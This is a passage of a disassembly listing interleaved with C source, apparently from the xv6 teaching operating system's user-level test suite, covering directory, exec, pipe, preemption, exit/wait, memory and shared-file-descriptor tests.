862: 7e db jle 83f <createtest+0x85>
}
printf(stdout, "many creates, followed by unlink; ok\n");
864: a1 a8 62 00 00 mov 0x62a8,%eax
869: 83 ec 08 sub $0x8,%esp
86c: 68 c8 47 00 00 push $0x47c8
871: 50 push %eax
872: e8 c7 37 00 00 call 403e <printf>
877: 83 c4 10 add $0x10,%esp
}
87a: 90 nop
87b: c9 leave
87c: c3 ret
0000087d <dirtest>:
void dirtest(void)
{
87d: 55 push %ebp
87e: 89 e5 mov %esp,%ebp
880: 83 ec 08 sub $0x8,%esp
printf(stdout, "mkdir test\n");
883: a1 a8 62 00 00 mov 0x62a8,%eax
888: 83 ec 08 sub $0x8,%esp
88b: 68 ee 47 00 00 push $0x47ee
890: 50 push %eax
891: e8 a8 37 00 00 call 403e <printf>
896: 83 c4 10 add $0x10,%esp
if(mkdir("dir0") < 0){
899: 83 ec 0c sub $0xc,%esp
89c: 68 fa 47 00 00 push $0x47fa
8a1: e8 8d 36 00 00 call 3f33 <mkdir>
8a6: 83 c4 10 add $0x10,%esp
8a9: 85 c0 test %eax,%eax
8ab: 79 1b jns 8c8 <dirtest+0x4b>
printf(stdout, "mkdir failed\n");
8ad: a1 a8 62 00 00 mov 0x62a8,%eax
8b2: 83 ec 08 sub $0x8,%esp
8b5: 68 1d 44 00 00 push $0x441d
8ba: 50 push %eax
8bb: e8 7e 37 00 00 call 403e <printf>
8c0: 83 c4 10 add $0x10,%esp
exit();
8c3: e8 03 36 00 00 call 3ecb <exit>
}
if(chdir("dir0") < 0){
8c8: 83 ec 0c sub $0xc,%esp
8cb: 68 fa 47 00 00 push $0x47fa
8d0: e8 66 36 00 00 call 3f3b <chdir>
8d5: 83 c4 10 add $0x10,%esp
8d8: 85 c0 test %eax,%eax
8da: 79 1b jns 8f7 <dirtest+0x7a>
printf(stdout, "chdir dir0 failed\n");
8dc: a1 a8 62 00 00 mov 0x62a8,%eax
8e1: 83 ec 08 sub $0x8,%esp
8e4: 68 ff 47 00 00 push $0x47ff
8e9: 50 push %eax
8ea: e8 4f 37 00 00 call 403e <printf>
8ef: 83 c4 10 add $0x10,%esp
exit();
8f2: e8 d4 35 00 00 call 3ecb <exit>
}
if(chdir("..") < 0){
8f7: 83 ec 0c sub $0xc,%esp
8fa: 68 12 48 00 00 push $0x4812
8ff: e8 37 36 00 00 call 3f3b <chdir>
904: 83 c4 10 add $0x10,%esp
907: 85 c0 test %eax,%eax
909: 79 1b jns 926 <dirtest+0xa9>
printf(stdout, "chdir .. failed\n");
90b: a1 a8 62 00 00 mov 0x62a8,%eax
910: 83 ec 08 sub $0x8,%esp
913: 68 15 48 00 00 push $0x4815
918: 50 push %eax
919: e8 20 37 00 00 call 403e <printf>
91e: 83 c4 10 add $0x10,%esp
exit();
921: e8 a5 35 00 00 call 3ecb <exit>
}
if(unlink("dir0") < 0){
926: 83 ec 0c sub $0xc,%esp
929: 68 fa 47 00 00 push $0x47fa
92e: e8 e8 35 00 00 call 3f1b <unlink>
933: 83 c4 10 add $0x10,%esp
936: 85 c0 test %eax,%eax
938: 79 1b jns 955 <dirtest+0xd8>
printf(stdout, "unlink dir0 failed\n");
93a: a1 a8 62 00 00 mov 0x62a8,%eax
93f: 83 ec 08 sub $0x8,%esp
942: 68 26 48 00 00 push $0x4826
947: 50 push %eax
948: e8 f1 36 00 00 call 403e <printf>
94d: 83 c4 10 add $0x10,%esp
exit();
950: e8 76 35 00 00 call 3ecb <exit>
}
printf(stdout, "mkdir test ok\n");
955: a1 a8 62 00 00 mov 0x62a8,%eax
95a: 83 ec 08 sub $0x8,%esp
95d: 68 3a 48 00 00 push $0x483a
962: 50 push %eax
963: e8 d6 36 00 00 call 403e <printf>
968: 83 c4 10 add $0x10,%esp
}
96b: 90 nop
96c: c9 leave
96d: c3 ret
0000096e <exectest>:
void
exectest(void)
{
96e: 55 push %ebp
96f: 89 e5 mov %esp,%ebp
971: 83 ec 08 sub $0x8,%esp
printf(stdout, "exec test\n");
974: a1 a8 62 00 00 mov 0x62a8,%eax
979: 83 ec 08 sub $0x8,%esp
97c: 68 49 48 00 00 push $0x4849
981: 50 push %eax
982: e8 b7 36 00 00 call 403e <printf>
987: 83 c4 10 add $0x10,%esp
if(exec("echo", echoargv) < 0){
98a: 83 ec 08 sub $0x8,%esp
98d: 68 94 62 00 00 push $0x6294
992: 68 f4 43 00 00 push $0x43f4
997: e8 67 35 00 00 call 3f03 <exec>
99c: 83 c4 10 add $0x10,%esp
99f: 85 c0 test %eax,%eax
9a1: 79 1b jns 9be <exectest+0x50>
printf(stdout, "exec echo failed\n");
9a3: a1 a8 62 00 00 mov 0x62a8,%eax
9a8: 83 ec 08 sub $0x8,%esp
9ab: 68 54 48 00 00 push $0x4854
9b0: 50 push %eax
9b1: e8 88 36 00 00 call 403e <printf>
9b6: 83 c4 10 add $0x10,%esp
exit();
9b9: e8 0d 35 00 00 call 3ecb <exit>
}
}
9be: 90 nop
9bf: c9 leave
9c0: c3 ret
000009c1 <pipe1>:
// simple fork and pipe read/write
void
pipe1(void)
{
9c1: 55 push %ebp
9c2: 89 e5 mov %esp,%ebp
9c4: 83 ec 28 sub $0x28,%esp
int fds[2], pid;
int seq, i, n, cc, total;
if(pipe(fds) != 0){
9c7: 83 ec 0c sub $0xc,%esp
9ca: 8d 45 d8 lea -0x28(%ebp),%eax
9cd: 50 push %eax
9ce: e8 08 35 00 00 call 3edb <pipe>
9d3: 83 c4 10 add $0x10,%esp
9d6: 85 c0 test %eax,%eax
9d8: 74 17 je 9f1 <pipe1+0x30>
printf(1, "pipe() failed\n");
9da: 83 ec 08 sub $0x8,%esp
9dd: 68 66 48 00 00 push $0x4866
9e2: 6a 01 push $0x1
9e4: e8 55 36 00 00 call 403e <printf>
9e9: 83 c4 10 add $0x10,%esp
exit();
9ec: e8 da 34 00 00 call 3ecb <exit>
}
pid = fork();
9f1: e8 cd 34 00 00 call 3ec3 <fork>
9f6: 89 45 e0 mov %eax,-0x20(%ebp)
seq = 0;
9f9: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
if(pid == 0){
a00: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
a04: 0f 85 89 00 00 00 jne a93 <pipe1+0xd2>
close(fds[0]);
a0a: 8b 45 d8 mov -0x28(%ebp),%eax
a0d: 83 ec 0c sub $0xc,%esp
a10: 50 push %eax
a11: e8 dd 34 00 00 call 3ef3 <close>
a16: 83 c4 10 add $0x10,%esp
for(n = 0; n < 5; n++){
a19: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
a20: eb 66 jmp a88 <pipe1+0xc7>
for(i = 0; i < 1033; i++)
a22: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
a29: eb 19 jmp a44 <pipe1+0x83>
buf[i] = seq++;
a2b: 8b 45 f4 mov -0xc(%ebp),%eax
a2e: 8d 50 01 lea 0x1(%eax),%edx
a31: 89 55 f4 mov %edx,-0xc(%ebp)
a34: 89 c2 mov %eax,%edx
a36: 8b 45 f0 mov -0x10(%ebp),%eax
a39: 05 a0 8a 00 00 add $0x8aa0,%eax
a3e: 88 10 mov %dl,(%eax)
for(i = 0; i < 1033; i++)
a40: 83 45 f0 01 addl $0x1,-0x10(%ebp)
a44: 81 7d f0 08 04 00 00 cmpl $0x408,-0x10(%ebp)
a4b: 7e de jle a2b <pipe1+0x6a>
if(write(fds[1], buf, 1033) != 1033){
a4d: 8b 45 dc mov -0x24(%ebp),%eax
a50: 83 ec 04 sub $0x4,%esp
a53: 68 09 04 00 00 push $0x409
a58: 68 a0 8a 00 00 push $0x8aa0
a5d: 50 push %eax
a5e: e8 88 34 00 00 call 3eeb <write>
a63: 83 c4 10 add $0x10,%esp
a66: 3d 09 04 00 00 cmp $0x409,%eax
a6b: 74 17 je a84 <pipe1+0xc3>
printf(1, "pipe1 oops 1\n");
a6d: 83 ec 08 sub $0x8,%esp
a70: 68 75 48 00 00 push $0x4875
a75: 6a 01 push $0x1
a77: e8 c2 35 00 00 call 403e <printf>
a7c: 83 c4 10 add $0x10,%esp
exit();
a7f: e8 47 34 00 00 call 3ecb <exit>
for(n = 0; n < 5; n++){
a84: 83 45 ec 01 addl $0x1,-0x14(%ebp)
a88: 83 7d ec 04 cmpl $0x4,-0x14(%ebp)
a8c: 7e 94 jle a22 <pipe1+0x61>
}
}
exit();
a8e: e8 38 34 00 00 call 3ecb <exit>
} else if(pid > 0){
a93: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
a97: 0f 8e f4 00 00 00 jle b91 <pipe1+0x1d0>
close(fds[1]);
a9d: 8b 45 dc mov -0x24(%ebp),%eax
aa0: 83 ec 0c sub $0xc,%esp
aa3: 50 push %eax
aa4: e8 4a 34 00 00 call 3ef3 <close>
aa9: 83 c4 10 add $0x10,%esp
total = 0;
aac: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
cc = 1;
ab3: c7 45 e8 01 00 00 00 movl $0x1,-0x18(%ebp)
while((n = read(fds[0], buf, cc)) > 0){
aba: eb 66 jmp b22 <pipe1+0x161>
for(i = 0; i < n; i++){
abc: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
ac3: eb 3b jmp b00 <pipe1+0x13f>
if((buf[i] & 0xff) != (seq++ & 0xff)){
ac5: 8b 45 f0 mov -0x10(%ebp),%eax
ac8: 05 a0 8a 00 00 add $0x8aa0,%eax
acd: 0f b6 00 movzbl (%eax),%eax
ad0: 0f be c8 movsbl %al,%ecx
ad3: 8b 45 f4 mov -0xc(%ebp),%eax
ad6: 8d 50 01 lea 0x1(%eax),%edx
ad9: 89 55 f4 mov %edx,-0xc(%ebp)
adc: 31 c8 xor %ecx,%eax
ade: 0f b6 c0 movzbl %al,%eax
ae1: 85 c0 test %eax,%eax
ae3: 74 17 je afc <pipe1+0x13b>
printf(1, "pipe1 oops 2\n");
ae5: 83 ec 08 sub $0x8,%esp
ae8: 68 83 48 00 00 push $0x4883
aed: 6a 01 push $0x1
aef: e8 4a 35 00 00 call 403e <printf>
af4: 83 c4 10 add $0x10,%esp
af7: e9 ac 00 00 00 jmp ba8 <pipe1+0x1e7>
for(i = 0; i < n; i++){
afc: 83 45 f0 01 addl $0x1,-0x10(%ebp)
b00: 8b 45 f0 mov -0x10(%ebp),%eax
b03: 3b 45 ec cmp -0x14(%ebp),%eax
b06: 7c bd jl ac5 <pipe1+0x104>
return;
}
}
total += n;
b08: 8b 45 ec mov -0x14(%ebp),%eax
b0b: 01 45 e4 add %eax,-0x1c(%ebp)
cc = cc * 2;
b0e: d1 65 e8 shll -0x18(%ebp)
if(cc > sizeof(buf))
b11: 8b 45 e8 mov -0x18(%ebp),%eax
b14: 3d 00 20 00 00 cmp $0x2000,%eax
b19: 76 07 jbe b22 <pipe1+0x161>
cc = sizeof(buf);
b1b: c7 45 e8 00 20 00 00 movl $0x2000,-0x18(%ebp)
while((n = read(fds[0], buf, cc)) > 0){
b22: 8b 45 d8 mov -0x28(%ebp),%eax
b25: 83 ec 04 sub $0x4,%esp
b28: ff 75 e8 pushl -0x18(%ebp)
b2b: 68 a0 8a 00 00 push $0x8aa0
b30: 50 push %eax
b31: e8 ad 33 00 00 call 3ee3 <read>
b36: 83 c4 10 add $0x10,%esp
b39: 89 45 ec mov %eax,-0x14(%ebp)
b3c: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
b40: 0f 8f 76 ff ff ff jg abc <pipe1+0xfb>
}
if(total != 5 * 1033){
b46: 81 7d e4 2d 14 00 00 cmpl $0x142d,-0x1c(%ebp)
b4d: 74 1a je b69 <pipe1+0x1a8>
printf(1, "pipe1 oops 3 total %d\n", total);
b4f: 83 ec 04 sub $0x4,%esp
b52: ff 75 e4 pushl -0x1c(%ebp)
b55: 68 91 48 00 00 push $0x4891
b5a: 6a 01 push $0x1
b5c: e8 dd 34 00 00 call 403e <printf>
b61: 83 c4 10 add $0x10,%esp
exit();
b64: e8 62 33 00 00 call 3ecb <exit>
}
close(fds[0]);
b69: 8b 45 d8 mov -0x28(%ebp),%eax
b6c: 83 ec 0c sub $0xc,%esp
b6f: 50 push %eax
b70: e8 7e 33 00 00 call 3ef3 <close>
b75: 83 c4 10 add $0x10,%esp
wait();
b78: e8 56 33 00 00 call 3ed3 <wait>
} else {
printf(1, "fork() failed\n");
exit();
}
printf(1, "pipe1 ok\n");
b7d: 83 ec 08 sub $0x8,%esp
b80: 68 b7 48 00 00 push $0x48b7
b85: 6a 01 push $0x1
b87: e8 b2 34 00 00 call 403e <printf>
b8c: 83 c4 10 add $0x10,%esp
b8f: eb 17 jmp ba8 <pipe1+0x1e7>
printf(1, "fork() failed\n");
b91: 83 ec 08 sub $0x8,%esp
b94: 68 a8 48 00 00 push $0x48a8
b99: 6a 01 push $0x1
b9b: e8 9e 34 00 00 call 403e <printf>
ba0: 83 c4 10 add $0x10,%esp
exit();
ba3: e8 23 33 00 00 call 3ecb <exit>
}
ba8: c9 leave
ba9: c3 ret
00000baa <preempt>:
// meant to be run w/ at most two CPUs
void
preempt(void)
{
baa: 55 push %ebp
bab: 89 e5 mov %esp,%ebp
bad: 83 ec 28 sub $0x28,%esp
int pid1, pid2, pid3;
int pfds[2];
printf(1, "preempt: ");
bb0: 83 ec 08 sub $0x8,%esp
bb3: 68 c1 48 00 00 push $0x48c1
bb8: 6a 01 push $0x1
bba: e8 7f 34 00 00 call 403e <printf>
bbf: 83 c4 10 add $0x10,%esp
pid1 = fork();
bc2: e8 fc 32 00 00 call 3ec3 <fork>
bc7: 89 45 f4 mov %eax,-0xc(%ebp)
if(pid1 == 0)
bca: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
bce: 75 02 jne bd2 <preempt+0x28>
for(;;)
bd0: eb fe jmp bd0 <preempt+0x26>
;
pid2 = fork();
bd2: e8 ec 32 00 00 call 3ec3 <fork>
bd7: 89 45 f0 mov %eax,-0x10(%ebp)
if(pid2 == 0)
bda: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
bde: 75 02 jne be2 <preempt+0x38>
for(;;)
be0: eb fe jmp be0 <preempt+0x36>
;
pipe(pfds);
be2: 83 ec 0c sub $0xc,%esp
be5: 8d 45 e4 lea -0x1c(%ebp),%eax
be8: 50 push %eax
be9: e8 ed 32 00 00 call 3edb <pipe>
bee: 83 c4 10 add $0x10,%esp
pid3 = fork();
bf1: e8 cd 32 00 00 call 3ec3 <fork>
bf6: 89 45 ec mov %eax,-0x14(%ebp)
if(pid3 == 0){
bf9: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
bfd: 75 4d jne c4c <preempt+0xa2>
close(pfds[0]);
bff: 8b 45 e4 mov -0x1c(%ebp),%eax
c02: 83 ec 0c sub $0xc,%esp
c05: 50 push %eax
c06: e8 e8 32 00 00 call 3ef3 <close>
c0b: 83 c4 10 add $0x10,%esp
if(write(pfds[1], "x", 1) != 1)
c0e: 8b 45 e8 mov -0x18(%ebp),%eax
c11: 83 ec 04 sub $0x4,%esp
c14: 6a 01 push $0x1
c16: 68 cb 48 00 00 push $0x48cb
c1b: 50 push %eax
c1c: e8 ca 32 00 00 call 3eeb <write>
c21: 83 c4 10 add $0x10,%esp
c24: 83 f8 01 cmp $0x1,%eax
c27: 74 12 je c3b <preempt+0x91>
printf(1, "preempt write error");
c29: 83 ec 08 sub $0x8,%esp
c2c: 68 cd 48 00 00 push $0x48cd
c31: 6a 01 push $0x1
c33: e8 06 34 00 00 call 403e <printf>
c38: 83 c4 10 add $0x10,%esp
close(pfds[1]);
c3b: 8b 45 e8 mov -0x18(%ebp),%eax
c3e: 83 ec 0c sub $0xc,%esp
c41: 50 push %eax
c42: e8 ac 32 00 00 call 3ef3 <close>
c47: 83 c4 10 add $0x10,%esp
for(;;)
c4a: eb fe jmp c4a <preempt+0xa0>
;
}
close(pfds[1]);
c4c: 8b 45 e8 mov -0x18(%ebp),%eax
c4f: 83 ec 0c sub $0xc,%esp
c52: 50 push %eax
c53: e8 9b 32 00 00 call 3ef3 <close>
c58: 83 c4 10 add $0x10,%esp
if(read(pfds[0], buf, sizeof(buf)) != 1){
c5b: 8b 45 e4 mov -0x1c(%ebp),%eax
c5e: 83 ec 04 sub $0x4,%esp
c61: 68 00 20 00 00 push $0x2000
c66: 68 a0 8a 00 00 push $0x8aa0
c6b: 50 push %eax
c6c: e8 72 32 00 00 call 3ee3 <read>
c71: 83 c4 10 add $0x10,%esp
c74: 83 f8 01 cmp $0x1,%eax
c77: 74 14 je c8d <preempt+0xe3>
printf(1, "preempt read error");
c79: 83 ec 08 sub $0x8,%esp
c7c: 68 e1 48 00 00 push $0x48e1
c81: 6a 01 push $0x1
c83: e8 b6 33 00 00 call 403e <printf>
c88: 83 c4 10 add $0x10,%esp
c8b: eb 7e jmp d0b <preempt+0x161>
return;
}
close(pfds[0]);
c8d: 8b 45 e4 mov -0x1c(%ebp),%eax
c90: 83 ec 0c sub $0xc,%esp
c93: 50 push %eax
c94: e8 5a 32 00 00 call 3ef3 <close>
c99: 83 c4 10 add $0x10,%esp
printf(1, "kill... ");
c9c: 83 ec 08 sub $0x8,%esp
c9f: 68 f4 48 00 00 push $0x48f4
ca4: 6a 01 push $0x1
ca6: e8 93 33 00 00 call 403e <printf>
cab: 83 c4 10 add $0x10,%esp
kill(pid1);
cae: 83 ec 0c sub $0xc,%esp
cb1: ff 75 f4 pushl -0xc(%ebp)
cb4: e8 42 32 00 00 call 3efb <kill>
cb9: 83 c4 10 add $0x10,%esp
kill(pid2);
cbc: 83 ec 0c sub $0xc,%esp
cbf: ff 75 f0 pushl -0x10(%ebp)
cc2: e8 34 32 00 00 call 3efb <kill>
cc7: 83 c4 10 add $0x10,%esp
kill(pid3);
cca: 83 ec 0c sub $0xc,%esp
ccd: ff 75 ec pushl -0x14(%ebp)
cd0: e8 26 32 00 00 call 3efb <kill>
cd5: 83 c4 10 add $0x10,%esp
printf(1, "wait... ");
cd8: 83 ec 08 sub $0x8,%esp
cdb: 68 fd 48 00 00 push $0x48fd
ce0: 6a 01 push $0x1
ce2: e8 57 33 00 00 call 403e <printf>
ce7: 83 c4 10 add $0x10,%esp
wait();
cea: e8 e4 31 00 00 call 3ed3 <wait>
wait();
cef: e8 df 31 00 00 call 3ed3 <wait>
wait();
cf4: e8 da 31 00 00 call 3ed3 <wait>
printf(1, "preempt ok\n");
cf9: 83 ec 08 sub $0x8,%esp
cfc: 68 06 49 00 00 push $0x4906
d01: 6a 01 push $0x1
d03: e8 36 33 00 00 call 403e <printf>
d08: 83 c4 10 add $0x10,%esp
}
d0b: c9 leave
d0c: c3 ret
00000d0d <exitwait>:
// try to find any races between exit and wait
void
exitwait(void)
{
d0d: 55 push %ebp
d0e: 89 e5 mov %esp,%ebp
d10: 83 ec 18 sub $0x18,%esp
int i, pid;
for(i = 0; i < 100; i++){
d13: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
d1a: eb 4f jmp d6b <exitwait+0x5e>
pid = fork();
d1c: e8 a2 31 00 00 call 3ec3 <fork>
d21: 89 45 f0 mov %eax,-0x10(%ebp)
if(pid < 0){
d24: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
d28: 79 14 jns d3e <exitwait+0x31>
printf(1, "fork failed\n");
d2a: 83 ec 08 sub $0x8,%esp
d2d: 68 95 44 00 00 push $0x4495
d32: 6a 01 push $0x1
d34: e8 05 33 00 00 call 403e <printf>
d39: 83 c4 10 add $0x10,%esp
return;
d3c: eb 45 jmp d83 <exitwait+0x76>
}
if(pid){
d3e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
d42: 74 1e je d62 <exitwait+0x55>
if(wait() != pid){
d44: e8 8a 31 00 00 call 3ed3 <wait>
d49: 39 45 f0 cmp %eax,-0x10(%ebp)
d4c: 74 19 je d67 <exitwait+0x5a>
printf(1, "wait wrong pid\n");
d4e: 83 ec 08 sub $0x8,%esp
d51: 68 12 49 00 00 push $0x4912
d56: 6a 01 push $0x1
d58: e8 e1 32 00 00 call 403e <printf>
d5d: 83 c4 10 add $0x10,%esp
return;
d60: eb 21 jmp d83 <exitwait+0x76>
}
} else {
exit();
d62: e8 64 31 00 00 call 3ecb <exit>
for(i = 0; i < 100; i++){
d67: 83 45 f4 01 addl $0x1,-0xc(%ebp)
d6b: 83 7d f4 63 cmpl $0x63,-0xc(%ebp)
d6f: 7e ab jle d1c <exitwait+0xf>
}
}
printf(1, "exitwait ok\n");
d71: 83 ec 08 sub $0x8,%esp
d74: 68 22 49 00 00 push $0x4922
d79: 6a 01 push $0x1
d7b: e8 be 32 00 00 call 403e <printf>
d80: 83 c4 10 add $0x10,%esp
}
d83: c9 leave
d84: c3 ret
00000d85 <mem>:
void
mem(void)
{
d85: 55 push %ebp
d86: 89 e5 mov %esp,%ebp
d88: 83 ec 18 sub $0x18,%esp
void *m1, *m2;
int pid, ppid;
printf(1, "mem test\n");
d8b: 83 ec 08 sub $0x8,%esp
d8e: 68 2f 49 00 00 push $0x492f
d93: 6a 01 push $0x1
d95: e8 a4 32 00 00 call 403e <printf>
d9a: 83 c4 10 add $0x10,%esp
ppid = getpid();
d9d: e8 a9 31 00 00 call 3f4b <getpid>
da2: 89 45 f0 mov %eax,-0x10(%ebp)
if((pid = fork()) == 0){
da5: e8 19 31 00 00 call 3ec3 <fork>
daa: 89 45 ec mov %eax,-0x14(%ebp)
dad: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
db1: 0f 85 b7 00 00 00 jne e6e <mem+0xe9>
m1 = 0;
db7: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
while((m2 = malloc(10001)) != 0){
dbe: eb 0e jmp dce <mem+0x49>
*(char**)m2 = m1;
dc0: 8b 45 e8 mov -0x18(%ebp),%eax
dc3: 8b 55 f4 mov -0xc(%ebp),%edx
dc6: 89 10 mov %edx,(%eax)
m1 = m2;
dc8: 8b 45 e8 mov -0x18(%ebp),%eax
dcb: 89 45 f4 mov %eax,-0xc(%ebp)
while((m2 = malloc(10001)) != 0){
dce: 83 ec 0c sub $0xc,%esp
dd1: 68 11 27 00 00 push $0x2711
dd6: e8 36 35 00 00 call 4311 <malloc>
ddb: 83 c4 10 add $0x10,%esp
dde: 89 45 e8 mov %eax,-0x18(%ebp)
de1: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
de5: 75 d9 jne dc0 <mem+0x3b>
}
while(m1){
de7: eb 1c jmp e05 <mem+0x80>
m2 = *(char**)m1;
de9: 8b 45 f4 mov -0xc(%ebp),%eax
dec: 8b 00 mov (%eax),%eax
dee: 89 45 e8 mov %eax,-0x18(%ebp)
free(m1);
df1: 83 ec 0c sub $0xc,%esp
df4: ff 75 f4 pushl -0xc(%ebp)
df7: e8 d3 33 00 00 call 41cf <free>
dfc: 83 c4 10 add $0x10,%esp
m1 = m2;
dff: 8b 45 e8 mov -0x18(%ebp),%eax
e02: 89 45 f4 mov %eax,-0xc(%ebp)
while(m1){
e05: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
e09: 75 de jne de9 <mem+0x64>
}
m1 = malloc(1024*20);
e0b: 83 ec 0c sub $0xc,%esp
e0e: 68 00 50 00 00 push $0x5000
e13: e8 f9 34 00 00 call 4311 <malloc>
e18: 83 c4 10 add $0x10,%esp
e1b: 89 45 f4 mov %eax,-0xc(%ebp)
if(m1 == 0){
e1e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
e22: 75 25 jne e49 <mem+0xc4>
printf(1, "couldn't allocate mem?!!\n");
e24: 83 ec 08 sub $0x8,%esp
e27: 68 39 49 00 00 push $0x4939
e2c: 6a 01 push $0x1
e2e: e8 0b 32 00 00 call 403e <printf>
e33: 83 c4 10 add $0x10,%esp
kill(ppid);
e36: 83 ec 0c sub $0xc,%esp
e39: ff 75 f0 pushl -0x10(%ebp)
e3c: e8 ba 30 00 00 call 3efb <kill>
e41: 83 c4 10 add $0x10,%esp
exit();
e44: e8 82 30 00 00 call 3ecb <exit>
}
free(m1);
e49: 83 ec 0c sub $0xc,%esp
e4c: ff 75 f4 pushl -0xc(%ebp)
e4f: e8 7b 33 00 00 call 41cf <free>
e54: 83 c4 10 add $0x10,%esp
printf(1, "mem ok\n");
e57: 83 ec 08 sub $0x8,%esp
e5a: 68 53 49 00 00 push $0x4953
e5f: 6a 01 push $0x1
e61: e8 d8 31 00 00 call 403e <printf>
e66: 83 c4 10 add $0x10,%esp
exit();
e69: e8 5d 30 00 00 call 3ecb <exit>
} else {
wait();
e6e: e8 60 30 00 00 call 3ed3 <wait>
}
}
e73: 90 nop
e74: c9 leave
e75: c3 ret
00000e76 <sharedfd>:
// two processes write to the same file descriptor
// is the offset shared? does inode locking work?
void
sharedfd(void)
{
e76: 55 push %ebp
e77: 89 e5 mov %esp,%ebp
e79: 83 ec 38 sub $0x38,%esp
int fd, pid, i, n, nc, np;
char buf[10];
printf(1, "sharedfd test\n");
e7c: 83 ec 08 sub $0x8,%esp
e7f: 68 5b 49 00 00 push $0x495b
e84: 6a 01 push $0x1
e86: e8 b3 31 00 00 call 403e <printf>
e8b: 83 c4 10 add $0x10,%esp
unlink("sharedfd");
e8e: 83 ec 0c sub $0xc,%esp
e91: 68 6a 49 00 00 push $0x496a
e96: e8 80 30 00 00 call 3f1b <unlink>
e9b: 83 c4 10 add $0x10,%esp
fd = open("sharedfd", O_CREATE|O_RDWR);
e9e: 83 ec 08 sub $0x8,%esp
ea1: 68 02 02 00 00 push $0x202
ea6: 68 6a 49 00 00 push $0x496a
eab: e8 5b 30 00 00 call 3f0b <open>
eb0: 83 c4 10 add $0x10,%esp
eb3: 89 45 e8 mov %eax,-0x18(%ebp)
if(fd < 0){
eb6: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
eba: 79 17 jns ed3 <sharedfd+0x5d>
printf(1, "fstests: cannot open sharedfd for writing");
ebc: 83 ec 08 sub $0x8,%esp
ebf: 68 74 49 00 00 push $0x4974
ec4: 6a 01 push $0x1
ec6: e8 73 31 00 00 call 403e <printf>
ecb: 83 c4 10 add $0x10,%esp
return;
ece: e9 84 01 00 00 jmp 1057 <sharedfd+0x1e1>
}
pid = fork();
ed3: e8 eb 2f 00 00 call 3ec3 <fork>
ed8: 89 45 e4 mov %eax,-0x1c(%ebp)
memset(buf, pid==0?'c':'p', sizeof(buf));
edb: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
edf: 75 07 jne ee8 <sharedfd+0x72>
ee1: b8 63 00 00 00 mov $0x63,%eax
ee6: eb 05 jmp eed <sharedfd+0x77>
ee8: b8 70 00 00 00 mov $0x70,%eax
eed: 83 ec 04 sub $0x4,%esp
ef0: 6a 0a push $0xa
ef2: 50 push %eax
ef3: 8d 45 d6 lea -0x2a(%ebp),%eax
ef6: 50 push %eax
ef7: e8 34 2e 00 00 call 3d30 <memset>
efc: 83 c4 10 add $0x10,%esp
for(i = 0; i < 1000; i++){
eff: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
f06: eb 31 jmp f39 <sharedfd+0xc3>
if(write(fd, buf, sizeof(buf)) != sizeof(buf)){
f08: 83 ec 04 sub $0x4,%esp
f0b: 6a 0a push $0xa
f0d: 8d 45 d6 lea -0x2a(%ebp),%eax
f10: 50 push %eax
f11: ff 75 e8 pushl -0x18(%ebp)
f14: e8 d2 2f 00 00 call 3eeb <write>
f19: 83 c4 10 add $0x10,%esp
f1c: 83 f8 0a cmp $0xa,%eax
f1f: 74 14 je f35 <sharedfd+0xbf>
printf(1, "fstests: write sharedfd failed\n");
f21: 83 ec 08 sub $0x8,%esp
f24: 68 a0 49 00 00 push $0x49a0
f29: 6a 01 push $0x1
f2b: e8 0e 31 00 00 call 403e <printf>
f30: 83 c4 10 add $0x10,%esp
break;
f33: eb 0d jmp f42 <sharedfd+0xcc>
for(i = 0; i < 1000; i++){
f35: 83 45 f4 01 addl $0x1,-0xc(%ebp)
f39: 81 7d f4 e7 03 00 00 cmpl $0x3e7,-0xc(%ebp)
f40: 7e c6 jle f08 <sharedfd+0x92>
}
}
if(pid == 0)
f42: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
f46: 75 05 jne f4d <sharedfd+0xd7>
exit();
f48: e8 7e 2f 00 00 call 3ecb <exit>
else
wait();
f4d: e8 81 2f 00 00 call 3ed3 <wait>
close(fd);
f52: 83 ec 0c sub $0xc,%esp
f55: ff 75 e8 pushl -0x18(%ebp)
f58: e8 96 2f 00 00 call 3ef3 <close>
f5d: 83 c4 10 add $0x10,%esp
fd = open("sharedfd", 0);
f60: 83 ec 08 sub $0x8,%esp
f63: 6a 00 push $0x0
f65: 68 6a 49 00 00 push $0x496a
f6a: e8 9c 2f 00 00 call 3f0b <open>
f6f: 83 c4 10 add $0x10,%esp
f72: 89 45 e8 mov %eax,-0x18(%ebp)
if(fd < 0){
f75: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
f79: 79 17 jns f92 <sharedfd+0x11c>
printf(1, "fstests: cannot open sharedfd for reading\n");
f7b: 83 ec 08 sub $0x8,%esp
f7e: 68 c0 49 00 00 push $0x49c0
f83: 6a 01 push $0x1
f85: e8 b4 30 00 00 call 403e <printf>
f8a: 83 c4 10 add $0x10,%esp
return;
f8d: e9 c5 00 00 00 jmp 1057 <sharedfd+0x1e1>
}
nc = np = 0;
f92: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
f99: 8b 45 ec mov -0x14(%ebp),%eax
f9c: 89 45 f0 mov %eax,-0x10(%ebp)
while((n = read(fd, buf, sizeof(buf))) > 0){
f9f: eb 3b jmp fdc <sharedfd+0x166>
for(i = 0; i < sizeof(buf); i++){
fa1: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
